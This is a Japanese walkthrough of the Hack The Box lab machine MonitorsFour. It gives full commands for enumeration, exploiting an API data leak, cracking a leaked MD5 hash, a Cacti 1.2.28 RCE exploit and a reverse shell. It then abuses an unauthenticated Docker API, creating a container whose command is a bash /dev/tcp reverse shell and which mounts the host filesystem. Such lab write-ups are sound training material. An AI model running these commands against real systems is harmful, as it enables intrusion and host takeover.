はじめに
この記事は、Hack The Box の MonitorsFour を攻略した際の手順を、再現しやすい形で整理したものです。
大まかな流れは以下です。
- ポートスキャンとWeb列挙
- APIの情報漏えいからユーザー情報とハッシュを取得
- 平文パスワードを復元して Cacti にログイン
- Cacti 1.2.28 の脆弱性を利用して RCE
- コンテナ内から内部ネットワークを調査
- 露出した Docker API を悪用してホスト側への足掛かりを作成
ポートスキャニング
まずは全ポートを走査し、開いているポートを詳細調査します。
$ ports=$(nmap -p- --min-rate=1000 -T4 monitorsfour.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p$ports -A -sC -sV -oN report_monitorsfor monitorsfour.htb
確認できた主なサービス:
- 80/tcp: nginx
- 5985/tcp: Microsoft HTTPAPI/2.0
80番ポートのレスポンスには PHPSESSID が含まれ、HttpOnly が未設定でした。
5985番ポートは次のように 404 を返し、初期調査段階では有効な入口になりませんでした。
$ curl -I monitorsfour.htb:5985
HTTP/1.1 404 Not Found
Server: Microsoft-HTTPAPI/2.0
Web列挙
サブドメイン列挙
$ wfuzz -u http://monitorsfour.htb -c -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 138
cacti.monitorsfour.htb を発見できたため、 hosts に追加します。
$ echo "10.129.229.213 cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
ディレクトリ列挙
$ gobuster dir -u http://monitorsfour.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
主な発見:
- /contact
- /login
- /user
- /forgot-password
/user はそのまま叩くと、 token パラメータ不足エラーを返します。
$ curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}
情報漏えいの悪用
パラメータ名をファジングすると、要求されるパラメータが token であることが分かります。
$ wfuzz -u http://monitorsfour.htb/user?FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 35
...SNIP...
000005845: 200 0 L 4 W 36 Ch "token"
token=0 を指定すると、ユーザー情報が配列で漏えいしました。
$ curl http://monitorsfour.htb/user?token=0
[{"id":2,"username":"admin",..."name":"Marcus Higgins",...}, ...]
ここで取得できた admin のハッシュ:
- 56b32eb43e6f15395f6c46c1c9e1cd36
ハッシュ解析と認証情報取得
ハッシュは MD5 と判定され、辞書攻撃で平文を取得できました。
$ hashcat -m 0 -a 0 ./hash.txt /usr/share/wordlists/rockyou.txt
...SNIP...
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
実際に有効だったログイン情報:
- Marcus:wonderful1
注記: username は admin ではなくnameの情報に含まれている Marcus を使う必要がありました。
Cacti 脆弱性によるRCE
対象環境の Cacti 1.2.28 について調査し、公開されている情報をもとに PoC を利用します。
- Advisory: GHSA-fxrq-fr7h-9rqq
- PoC: CVE-2025-24367 関連の公開スクリプト
$ sudo python3 exploit.py -u Marcus -p wonderful1 -i 10.10.15.11 -l 4444 -url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Login Successful!
[+] Hit timeout, looks good for shell, check your listener!
別ターミナルのリスナーでリバースシェルを受信します。
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.17.44] from (UNKNOWN) [10.129.229.213] 56426
www-data@821fbd6a43fa:~/html/cacti$ whoami
www-data
www-data のまま /home/marcus/user.txt を読めることも確認できました。
コンテナ内調査
/etc/resolv.conf の内容から、コンテナ内部リゾルバと外部ホスト情報を確認します。
www-data@821fbd6a43fa:~/html/cacti$ cat /etc/resolv.conf
# Generated by Docker Engine.
nameserver 127.0.0.11
# ExtServers: [host(192.168.65.7)]
内部セグメントのホストに対してポートスキャンしたところ、 192.168.65.7 で複数ポートが開いていました。
./fscan -h 192.168.65.7 -p 1-65535
...SNIP...
192.168.65.7:53 open
192.168.65.7:2375 open
192.168.65.7:3128 open
192.168.65.7:5555 open
特に 2375 は認証なし Docker API の可能性が高く、ホスト侵害の足掛かりになります。
Docker API の悪用
まず API にアクセス可能か確認します。
www-data@821fbd6a43fa:/tmp$ curl -s http://192.168.65.7:2375/images/json
[{"RepoTags":["docker_setup-nginx-php:latest"],...}]
次に、バインドマウント付きでコンテナを作成する JSON を用意します。
{
"Image": "docker_setup-nginx-php:latest",
"Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.17.44/1111 0>&1"],
"HostConfig": {
"Binds": ["/mnt/host/c:/host_root"]
}
}
作成と起動:
$ curl -H 'Content-Type: application/json' -d @create_container.json "http://192.168.65.7:2375/containers/create" -o response.json
$ cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d '"' -f4)
$ curl -X POST "http://192.168.65.7:2375/containers/$cid/start"
受信用リスナー:
$ nc -lnvp 1111
この手順により、露出 Docker API を経由してホスト側へ到達可能な経路を作成できます。
まとめ
今回の攻略で重要だったポイントは次の通りです。
- API エラーメッセージからパラメータ名を特定し、情報漏えいを成立させたこと
- 漏えいハッシュのオフライン解析で、Web管理画面へ正規ログインできる認証情報を得たこと
- Cacti の既知脆弱性を使って初期シェルを取得したこと
- コンテナ内部から内部ネットワークを調査し、認証なし Docker API を軸に横展開したこと
MonitorsFour は、Webアプリの実装不備とコンテナ運用ミスが連鎖すると、侵害範囲が一気に拡大することを学べる構成でした。